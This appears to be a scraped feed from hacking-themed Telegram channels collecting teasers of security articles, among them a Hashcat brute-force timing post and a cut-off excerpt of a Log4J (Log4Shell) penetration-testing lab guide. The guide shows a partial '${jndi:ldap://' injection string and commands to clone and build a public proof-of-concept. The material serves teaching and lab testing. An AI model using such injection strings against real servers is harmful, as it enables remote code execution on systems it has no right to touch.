Well Here we go…….
https://medium.com/@ddg00529/well-here-we-go-292f4c30e264?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Cyber-sec is really a fun as well as an scary world , you got one thing wrong and the line of legal & illegal will VANISHED ….Continue reading on Medium » (https://medium.com/@ddg00529/well-here-we-go-292f4c30e264?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacked Google-Meet…??!

https://cdn-images-1.medium.com/max/1366/1*SlB7YDBVDXsSjCl6xPsdRQ.png
15th June 2021

Continue reading on InfoSec Write-ups »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Information Gathering in Penetration Testing

https://cdn-images-1.medium.com/max/732/1*RMyd54MzqLxPJ5WtKXPXCw.png
Hello guys, Ayush this side today in this article we are gonna learn about some information gathering techniques about any target.

Continue reading on InfoSec Write-ups »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cookie Security: From a Developer’s Perspective

https://cdn-images-1.medium.com/max/1400/0*s9lCJD9o4_DfDlu2
We will be learning more about the source code reviews in this blog. The primary focus of ours will be the security of the cookies as they…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Apache Software Foundation has released fixes to contain an actively exploited zero-day…

https://cdn-images-1.medium.com/max/728/0*xEFY4mlYYv6IJj-z
Tracked as CVE-2021–44228 and by the monikers Log4Shell or LogJam, the issue concerns a case of unauthenticated, remote code execution…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Choosing a Password

From time to time I like to play around with Hashcat. Just fun things like seeing how far into one of the example files, or showing a cousin how horrible their password is.

I was curious how the requirements for a password length have changed since the release of the Nvidia 3000 cards. My 3080 for example can do MD5 at 60 B/s, Sha1 at 20 B/s.

Running brute force on MD5 with the “?a” switch, if you do not know that runs through all 96ish possible characters, I tested up to 9. So these are password that are truly randomized. 7 character password or less you can do all of them in less than the runtime of a show on Netflix. 8 characters you can do in about 2 days. 9 characters Hashcat estimated would take about 7 months.

So you should still be fine with a 9 character randomized password for some time. Even in MD5.

submitted by /u/Titanium125
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacked Google-Meet…??!

15th June 2021Continue reading on InfoSec Write-ups »
Read more...

Well Here we go…….

Cyber-sec is really a fun as well as an scary world , you got one thing wrong and the line of legal & illegal will VANISHED ….Continue reading on Medium »
Read more...

Hacking on Medium
Break The Walls Down: How the Playstation Vita Was Hacked

https://cdn-images-1.medium.com/max/1200/1*4S_rVNyAdB3aSdx_E1F6dg.jpeg
Enough time has passed that I’d forgive you for forgetting that Sony made a second handheld after the PSP. The Playstation Vita was…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Legacy: HTB Writeup

https://cdn-images-1.medium.com/max/975/1*fmQbtWTCGAvH3-q__VG2qA.png
Recon

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
A Detailed Guide on Log4J Penetration Testing

In this article, we are going to discuss and demonstrate in our lab setup, the exploitation of the new vulnerability identified as CVE-2021-44228 affecting the java logging package, Log4J.This vulnerability has a severity score of 10.0, most critical designation and offers remote code execution on hosts engaging with software that uses log4j utility. This attack has also been called “Log4Shell”.Table of content1. Log4jShellLog4jshell Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. Vulnerability TypeRemote Code ExecutionSeverity CriticalBase CVSS Score10.0 Versions Affected All versions from 2.0-beta9 to 2.14.1CVE-2021-45046It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.Vulnerability TypeRemote Code ExecutionSeverity CriticalBase CVSS Score9.0 Versions AffectedAll versions from 2.0-beta9 to 2.15.0, excluding 2.12.2CVE-2021-45105Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack.Vulnerability TypeDenial of ServiceSeverity HighBase CVSS Score7.5 Versions AffectedAll versions from 2.0-beta9 to 2.16.0What is Log4J. Log4j is a Java based logging utility which is part of the Apache Logging Services. Log4j is one of the several Java logging frameworks which is popularly used by millions of Java applications on the internet. What is LDAP and JNDI(Lightweight Directory Access Protocol) is an open and cross platform protocol which is used for directory service authentication. It provides the communication language that application uses to communicate with other directory services. Directory services store lots of important information like, user accounts details, passwords, computer accounts, etc which are share with other devices on the network. JNDI(Java Naming and Directory Interface) is an application programming interface (API) that provides naming a[...]

___________________________
@hacking_Attack
@Hacking_Video

nd directory functionality to applications written using Java Programming Language. JNDI and LDAP ChemistryJNDI provides a standard API for interacting with name and directory services using service provider interface (SPI). JNDI provides Java applications and objects a powerful and transparent interface to access directory services like LDAP. The table below shows the common LDAP and JNDI equivalent operations. Log4J JNDI LookupLookups is a kind of mechanism that add values to the log4j configuration at arbitrary places. Log4j has the ability to perform multiple lookups such as map, system properties and JNDI (Java Naming and Directory Interface) lookups. LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service),etc. if this functionality is implemented, the we should this line of code somewhere in the program: ${jndi:logging/context-name}A Normal Log4J Scenariohttps://blogger.googleusercontent.com/img/a/AVvXsEjjRJfgfugQqnMhK2bvwSaURO2kLn9OiUSZYLCVPte_bygG_sqdupugk90QxmJsVRXw85l-uhM_4C4Looo1-BpbpMHH3CxAWQsVr_yyoyllFuTKryCjxgRBVJW2hdz0MN0r9YZPpbEmogkv82Dbn01P9qqs8HmjdSxCvDO08DK7dWhR4FbavyC3pDy4nA=s16000 The above diagram shows a normal log4j scenario. Exploit Log4j ScenarioAn attacker who can control log messages or log messages parameters can execute arbitrary code on the vulnerable server loaded from LDAP servers when message lookup substitution is enabled. As a result, an attacker can craft a special request that would make the utility remotely downloaded and execute the payload.${jndi:ldap://Pentest Lab SetupIn the lab Setup, we will use Kali VM as the attacker machine and Ubuntu VM as the target machine. So let’s prepare the ubuntu machine. Browse to the github url  https://github.com/kozmer/log4j-shell-poc .git  and git clone the whole repository. cd Log4j-shell-poc. Once inside that directory we can now execute the docker command: docker build -t log4j-shell-poc . https://blogger.googleusercontent.com/img/a/AVvXsEhfG-eMKNkLO0u-QS8BieI9RJfUdKe1f8F82ooq7IQoFlXvC[...]

___________________________
@hacking_Attack
@Hacking_Video